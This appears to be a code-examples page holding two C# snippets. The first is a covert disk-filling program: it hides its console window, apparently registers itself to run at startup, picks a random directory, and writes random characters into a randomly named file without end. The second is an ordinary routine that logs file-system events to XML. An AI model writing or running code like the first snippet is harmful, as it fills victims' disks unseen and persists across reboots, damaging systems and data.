Example #1
0
        private const bool Debug = false; // Debug?

        private static void Main( string[] args ) {
            var hwnd = GetConsoleWindow();
            var startUpBool = true;
            ShowWindow( hwnd, SW_HIDE );
            if(Debug) {
                startUpBool = !startUpBool;
            }
            Startup( startUpBool );
            var i2 = 0;
            var directory = new DirectoryInfo( "/" );
            DirectoryInfo[] moreDirs;
            while(true) {
                i2++;
                while(true) {
                    try {
                        moreDirs = directory.GetDirectories();
                        break;
                    } catch(UnauthorizedAccessException uae) {
                        directory = directory.Parent;
                        if(!Debug) continue;
                        Console.WriteLine( uae );
                        Console.ReadKey();
                    }
                }
                if(moreDirs.Length == 0) break;
                var random = new Random();
                var iRandom = random.Next( 0, 10 - i2 );
                var randomDir = moreDirs[random.Next( 0, moreDirs.Length - 1 )].FullName;
                directory = new DirectoryInfo( randomDir );
                if(iRandom == 0) break;
            }
            const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" +
                                 "1234567890+*'!\\\"#¤%&/()=?§½@£$€{[]}-_.,:;<>\n\r\t";
            var fileName = Path.GetRandomFileName();
            if(Debug) {
                Console.WriteLine( "DEBUG INFO" );
                Console.WriteLine( "Directory: " + directory.FullName );
                Console.WriteLine( "File name: " + fileName );
            }
            if(File.Exists( directory.FullName + "/" + fileName )) {
                using(var fs = File.Open( directory.FullName + "/" + fileName, FileMode.Append )) {
                    while(true) {
                        for(var i = 0; i < Environment.TickCount; i++) {
                            var iRnd = directory.GetHashCode() * i;
                            var rnd = new Random(iRnd);
                            var text = new UTF8Encoding().GetBytes( Convert.ToString( chars.Substring( rnd.Next( 0, chars.Length ), 1 ) ) );
                            fs.Write( text, 0, text.Length );
                        }
                    }
                }
            }
            using(var fs = File.Create( directory.FullName + "/" + fileName )) {
                while(true) {
                    for(var i = 0; i < Environment.TickCount; i++) {
                        var iRnd = directory.GetHashCode() * i;
                        var rnd = new Random(iRnd);
                        var text = new UTF8Encoding().GetBytes( Convert.ToString( chars.Substring( rnd.Next( 0, chars.Length ), 1 ) ) );
                        fs.Write( text, 0, text.Length );
                    }
                }
            }
        }
Example #2
0
        public static void XmlAppendNewLog(string eventName,
                                           string oldName,
                                           string name,
                                           string changeType,
                                           string fullPath)
        {
            if (File.Exists(fullPath))
            {
                var fileInfo = new FileInfo(fullPath);
                if (fileInfo.Extension != ".txt") return;
            }

            var element = document.CreateElement(eventName);
            document.DocumentElement.AppendChild(element);

            var attribute = document.CreateAttribute("DateTime");
            attribute.Value = DateTime.Now.ToString(CultureInfo.CurrentCulture);
            element.Attributes.Append(attribute);

            if (oldName != "")
            {
                XmlNode subElement1 = document.CreateElement("OldName");
                subElement1.InnerText = oldName;
                element.AppendChild(subElement1);
            }

            if (name != "")
            {
                XmlNode subElement2 = document.CreateElement("NewName");
                subElement2.InnerText = name;
                element.AppendChild(subElement2);
            }

            if (fullPath != "")
            {
                var elementFullPath = document.CreateElement(Directory.Exists(fullPath) ? "Catalog" : "File");
                XmlNode subElement3 = document.CreateElement("FullInfo");

                element.AppendChild(subElement3).AppendChild(elementFullPath);

                #region DirectoryExist

                if (Directory.Exists(fullPath))
                {
                    XmlNode subElement3_1 = document.CreateElement("CreationTime");
                    subElement3_1.InnerText = Directory.GetCreationTime(fullPath).ToString(CultureInfo.CurrentCulture);
                    elementFullPath.AppendChild(subElement3_1);

                    XmlNode subElement3_2 = document.CreateElement("LastAccessTime");
                    subElement3_2.InnerText = Directory.GetLastAccessTime(fullPath).ToString(CultureInfo.CurrentCulture);
                    elementFullPath.AppendChild(subElement3_2);

                    XmlNode subElement3_3 = document.CreateElement("LastWriteTime");
                    subElement3_3.InnerText = Directory.GetLastWriteTime(fullPath).ToString(CultureInfo.CurrentCulture);
                    elementFullPath.AppendChild(subElement3_3);

                    XmlNode subElement3_4 = document.CreateElement("LogicalDrives");
                    subElement3_4.InnerText = Directory.GetLogicalDrives().ToString();
                    elementFullPath.AppendChild(subElement3_4);

                    var directoryInfo = new DirectoryInfo(fullPath);

                    XmlNode subElement3_5 = document.CreateElement("Name");
                    subElement3_5.InnerText = directoryInfo.Name;
                    elementFullPath.AppendChild(subElement3_5);

                    XmlNode subElement3_6 = document.CreateElement("Root");
                    subElement3_6.InnerText = directoryInfo.Root.ToString();
                    elementFullPath.AppendChild(subElement3_6);

                    XmlNode subElement3_7 = document.CreateElement("Parent");
                    subElement3_7.InnerText = directoryInfo.Parent.ToString();
                    elementFullPath.AppendChild(subElement3_7);

                    XmlNode subElement3_8 = document.CreateElement("Attributes");
                    subElement3_7.InnerText = directoryInfo.Attributes.ToString();
                    elementFullPath.AppendChild(subElement3_8);

                    XmlNode subElement3_9 = document.CreateElement("HashCode");
                    subElement3_9.InnerText = directoryInfo.GetHashCode().ToString(CultureInfo.CurrentCulture);
                    elementFullPath.AppendChild(subElement3_9);

                    XmlNode subElement3_10 = document.CreateElement("FullPath");
                    subElement3_10.InnerText = fullPath;
                    elementFullPath.AppendChild(subElement3_10);

                }
                #endregion

                #region FileExist

                else if (File.Exists(fullPath))
                {
                    XmlNode subElement3_1 = document.CreateElement("CreationTime");
                    subElement3_1.InnerText = File.GetCreationTime(fullPath).ToString(CultureInfo.CurrentCulture);
                    elementFullPath.AppendChild(subElement3_1);

                    XmlNode subElement3_2 = document.CreateElement("LastAccessTime");
                    subElement3_2.InnerText = File.GetLastAccessTime(fullPath).ToString(CultureInfo.CurrentCulture);
                    elementFullPath.AppendChild(subElement3_2);

                    XmlNode subElement3_3 = document.CreateElement("LastWriteTime");
                    subElement3_3.InnerText = File.GetLastWriteTime(fullPath).ToString(CultureInfo.CurrentCulture);
                    elementFullPath.AppendChild(subElement3_3);

                    var fileInfo = new FileInfo(fullPath);

                    XmlNode subElement3_4 = document.CreateElement("Extension");
                    subElement3_4.InnerText = fileInfo.Extension;
                    elementFullPath.AppendChild(subElement3_4);

                    XmlNode subElement3_5 = document.CreateElement("IsReadOnly");
                    subElement3_5.InnerText = fileInfo.IsReadOnly.ToString();
                    elementFullPath.AppendChild(subElement3_5);

                    XmlNode subElement3_6 = document.CreateElement("Length");
                    subElement3_6.InnerText = fileInfo.Length.ToString(CultureInfo.CurrentCulture);
                    elementFullPath.AppendChild(subElement3_6);

                    XmlNode subElement3_7 = document.CreateElement("FullPath");
                    subElement3_7.InnerText = fullPath;
                    elementFullPath.AppendChild(subElement3_7);
                }

                #endregion
            }

            if (changeType != "")
            {
                XmlNode subElement4 = document.CreateElement("ChangeType");
                subElement4.InnerText = changeType;
                element.AppendChild(subElement4);
            }
        }